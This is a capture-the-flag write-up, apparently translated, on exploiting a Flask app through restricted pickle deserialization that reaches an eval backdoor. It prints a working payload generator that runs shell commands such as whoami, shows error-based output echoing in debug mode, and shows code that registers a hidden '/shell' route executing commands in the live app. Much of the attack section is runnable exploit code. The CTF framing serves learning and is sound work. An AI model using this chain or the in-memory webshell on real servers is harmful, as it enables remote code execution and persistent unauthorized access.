preface

I studied this problem mainly when I played games. The topic content is like this.

# app.py from flask import Flask , request , session , render_template_string , url_for , redirect import pickle import io import sys import base64 import random import subprocess from config import notadmin app = Flask ( __name__ ) class RestrictedUnpickler ( pickle . Unpickler ): def find_class ( self , module , name ): if module in [ 'config' ] and "__" not in name : return getattr ( sys . modules [ module ], name ) raise pickle . UnpicklingError ( "'%s.%s' not allowed" % ( module , name )) def restricted_loads ( s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler ( io . BytesIO ( s )) . load () @app.route  ( '/' ) def index (): info = request . args . get ( 'name' , '' ) if info is not '' : x = base64 . b64decode ( info ) User = restricted_loads ( x ) return render_template_string ( 'Hello' ) if __name__ == '__main__' : app. run (host='0.0.0.0', debug=True, port= 5000)Copy the code
 # config.py
notadmin = { "admin" : "no" }


def backdoor ( cmd ):
    if notadmin [ "admin" ] == "yes" :
        s = '' . join ( cmd )
        eval ( s ) 
Copy the code

This is a simple pickle deserialization, which is not the point of this article. The main point of this question is how to echo after eval. The simplest way to think of this question is to bounce shell, but after testing it, we found that the target machine is not online, so we need to find other ways to echo our commands

Error information is reported in debug mode

In flask, if the debug mode is enabled, the detailed information will be displayed. In flask, the debug mode is usually used to construct the PIN code, but we thought that we can manually control the error mode to make our command echo.

To construct exp simply, it is important to note that Eval does not execute Python statements, so we need to use eval to call exec to manually throw errors

from base64 import b64encode
from urllib.parse import quote


def base64_encode ( s :  str ,  encoding='utf-8' )  ->  str :
    return b64encode ( s . encode ()) . decode ( encoding=encoding )


exc = "raise Exception(__import__('os').popen('whoami').read())"
exc = base64_encode ( exc ) . encode ()

opcode = b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec(__import__("base64").b64decode(b"%s"))'
lo.''' % ( exc )

print ( quote ( b64encode ( opcode ) . decode ())) 
Copy the code

You can see that we managed to get the echo through Exception

Failed attempt: import the module directly to get the app

At first, THE method I thought of was to import app.py directly to obtain the APP, but it turned out that the app was different from the other app. The route was added but it could not be accessed. It should be a brand new app

Successful attempt: sys.modules

Sys. modules is a global dictionary that is loaded into memory when Python is started. Sys. modules logs new modules whenever a programmer imports them. The dictionary sys.modules serves as a buffer for loading modules. When a module is imported for the first time, the dictionary sys.modules automatically records that module. When the module is imported a second time, Python looks it up directly in the dictionary, making the program run faster.

Modules. Since our final eval is executed in app.py, we can get the current module by using sys.modules[‘__main__’]. Let’s write a simple test to see if the app above is the same as the actual app

import sys
import app
app1 = sys . modules [ '__main__' ] . __dict__ [ 'app' ]
app2 = app . app
print ( id ( app1 ))
print ( id ( app2 )) 
Copy the code

You can see that the ID of the app is different, so they’re not the same app

Here, we try to add the backdoor route directly, and we will find an error

import sys
import os
sys . modules [ '__main__' ] . __dict__ [ 'app' ] . add_url_rule ( '/shell' , 'shell' , lambda : os . popen ( 'dir' ) . read ()) 
Copy the code

This error is due to the setup function (add_url_rule) being called after the first request is processed. This error is only triggered in debug mode, refer to the issue of the tool using the Flask framework:

  • Github.com/alexmclarty…
  • Github.com/pallets/fla…

So we need to be in non-debug mode to successfully add backdoor routes (or we can just set debug=False to solve this problem)

import sys
sys . modules [ '__main__' ] . __dict__ [ 'app' ] . debug=False
sys . modules [ '__main__' ] . __dict__ [ 'app' ] . add_url_rule ( '/shell' , 'shell' , lambda : __import__ ( 'os' ) . popen ( 'dir' ) . read ()) 
Copy the code

The last

Follow me and keep me updated

Private acquisition [Network security learning materials · Walkthrough】